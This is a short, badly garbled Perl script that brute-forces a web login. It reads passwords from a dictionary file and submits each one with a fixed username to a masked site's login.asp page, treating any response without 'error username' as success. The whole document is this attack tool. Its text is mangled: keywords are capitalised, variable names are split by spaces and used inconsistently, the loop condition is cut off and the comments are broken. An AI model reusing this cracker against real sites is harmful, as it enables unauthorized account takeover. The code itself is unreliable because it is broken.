Use core :: easy;
$ OK = 1;
$ usrname = "shitusername";
# 欲 用户 用户 名
Open (DICT, "Password.txt");
# 字 字
While ($ PasswdTemp =
# IF ($ passwdtemp =
# Die "no password remain";
# $ passwdtemp =
Chomp ($ PasswdTemp);
Print "CRACKING Password IS $ PasswdTemp / N";
IF (Classme_crack_Check ($ UserName, $ PasswdTemp) == 0) {
Print "Finish / NPassword IS / N $ PasswdTemp";
$ OK = 0;
}
Else {
$ OK = 1;
# $ ok ;
#print $ ok. "/ n";
#}
}
}
IF ($ OK! = 0) {
DIE "No Password Left!";
} else {
Print "/ ncongruatulation / n";
}
SUB Classme_crack_check {
MY ($ UserName, $ Password) = @ _;
My $ URL = " http://www.xxxxxxxxxx.com/ NEW / login.asp? username = $ usrname & password = $ password & comtype = default ";
# This place temporarily hidden, see how to fill in it
MY $ curl = curl :: Easy-> new ();
$ CURL-> Setopt (CURLOPT_URL, $ URL);
#my $ ketcode = $ curl-> perform ();
Print $ RETCODE;
SUB body_callback {
MY ($ Chunk, $ context) = @ _;
Push @ {$ context}, $ chunk;
Return Length ($ chunk); # ok
}
$ curl-> setopt (curlopt_writefunction, / & body_callback);
MY @Body;
$ CURL-> setopt (curlopt_file, / @ body);
MY $ RETCODE = $ CURL-> Perform ();
IF ($ RETCODE! = 0) {
Return 1;
} else {
Return 0;
}
#print $ body;
#print Join ("", @ body);
#print "/ n / N";
$ TEMP = $ BODY [1];
($ E, @ body) = @ body;
#print "begin / n";
#print $ e;
# 中 中 值 值
Print "/ n / n / n"; if ($ E = ~ / error username /) {
Return 1;
} else {
Return 0;
}
}